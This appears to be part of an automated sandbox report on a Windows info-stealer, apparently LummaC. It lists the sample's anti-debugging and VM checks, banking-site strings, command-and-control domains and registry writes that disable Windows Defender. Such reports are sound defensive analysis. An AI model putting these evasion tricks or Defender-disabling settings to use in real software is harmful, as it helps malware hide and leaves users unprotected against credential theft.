Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A21 second address: 54F0A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0AB4 second address: 54F0ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0ABA second address: 54F0AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0AD2 second address: 54F0AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0AD8 second address: 54F0ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0ADE second address: 54F0AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: 92DD86 second address: 92DD99 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F711CDAA078h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: 92DD99 second address: 92DD9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB6151 second address: AB6159 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AA1CFF second address: AA1D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AA1D03 second address: AA1D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AA1D09 second address: AA1D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AA1D0F second address: AA1D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F711CDAA076h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8D1E second address: AB8D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F711D40AC5Ch 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D30C0h], esi 0x00000015 call 00007F711D40AC59h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F711D40AC5Fh 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8D54 second address: AB8D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8D6A second address: AB8D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8D6F second address: AB8D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8D75 second address: AB8E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f ja 00007F711D40AC72h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e jmp 00007F711D40AC68h 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jmp 00007F711D40AC5Dh 0x0000002d pop eax 0x0000002e mov ecx, edx 0x00000030 push 00000003h 0x00000032 mov dword ptr [ebp+122D2BD4h], eax 0x00000038 add ch, FFFFFF87h 0x0000003b push 00000000h 0x0000003d movzx edx, si 0x00000040 push 00000003h 0x00000042 mov dword ptr [ebp+122D30F8h], eax 0x00000048 push A6BAEAFFh 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F711D40AC64h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8E16 second address: AB8E5A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F711CDAA089h 0x00000008 jmp 00007F711CDAA083h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 19451501h 0x00000016 mov dword ptr [ebp+122D2BB0h], ebx 0x0000001c push ebx 0x0000001d mov edx, dword ptr [ebp+122D399Fh] 0x00000023 pop edi 0x00000024 lea ebx, dword ptr [ebp+1245EC28h] 0x0000002a push edx 0x0000002b mov edx, ecx 0x0000002d pop edx 0x0000002e mov esi, ebx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8E5A second address: AB8E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC64h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8E73 second address: AB8E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8EBB second address: AB8EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8EC0 second address: AB8ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8ECE second address: AB8ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8ED4 second address: AB8F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F711CDAA078h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 pushad 0x00000022 jmp 00007F711CDAA081h 0x00000027 sub ebx, dword ptr [ebp+122D3C57h] 0x0000002d popad 0x0000002e push 00000000h 0x00000030 or di, BCBEh 0x00000035 push 011D1742h 0x0000003a js 00007F711CDAA090h 0x00000040 xor dword ptr [esp], 011D17C2h 0x00000047 jmp 00007F711CDAA082h 0x0000004c push 00000003h 0x0000004e mov edx, dword ptr [ebp+122D3AFBh] 0x00000054 push 00000000h 0x00000056 mov dword ptr [ebp+122D383Eh], edi 0x0000005c push 00000003h 0x0000005e jmp 00007F711CDAA07Ch 0x00000063 push 89BDD7C0h 0x00000068 push eax 0x00000069 push edx 0x0000006a push edi 0x0000006b jmp 00007F711CDAA080h 0x00000070 pop edi 0x00000071 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8F90 second address: AB8FE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 36422840h 0x00000010 mov ecx, dword ptr [ebp+122D3C57h] 0x00000016 lea ebx, dword ptr [ebp+1245EC31h] 0x0000001c call 00007F711D40AC5Bh 0x00000021 adc ecx, 649CDBE7h 0x00000027 pop edx 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F711D40AC61h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	RDTSC instruction interceptor: First address: AB8FE2 second address: AB8FE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F21D5B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F207D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F29A7F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Special instruction interceptor: First address: 92DDFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Special instruction interceptor: First address: AE0207 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Special instruction interceptor: First address: ADEA0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Special instruction interceptor: First address: 92DD0A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Memory allocated: 4BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Memory allocated: 4C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Memory allocated: 6C60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Code function: 4_2_00AB90F3 rdtsc

4_2_00AB90F3

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Code function: 4_2_00ACB604 sidt fword ptr [esp-02h]

4_2_00ACB604

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7136	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7136	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4324	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4324	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 828	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5912	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5912	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7148	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7148	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3480	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3480	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe TID: 5580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: file.exe, 00000000.00000002.2634472557.0000000000EFF000.00000040.00000001.01000000.00000003.sdmp, V6JTG9Z5Z4ZAMITLFW.exe, V6JTG9Z5Z4ZAMITLFW.exe, 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2578966180.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640749220.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2228309735.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000003.2578966180.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640214151.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640749220.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2228309735.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2634472557.0000000000EFF000.00000040.00000001.01000000.00000003.sdmp, V6JTG9Z5Z4ZAMITLFW.exe, 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2228411263.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Code function: 4_2_00AB90F3 rdtsc

4_2_00AB90F3

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Code function: 4_2_0092B79E LdrInitializeThunk,

4_2_0092B79E

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2063808659.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2635739500.0000000000F48000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: u+UProgram Manager
Source: V6JTG9Z5Z4ZAMITLFW.exe, 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: =lProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
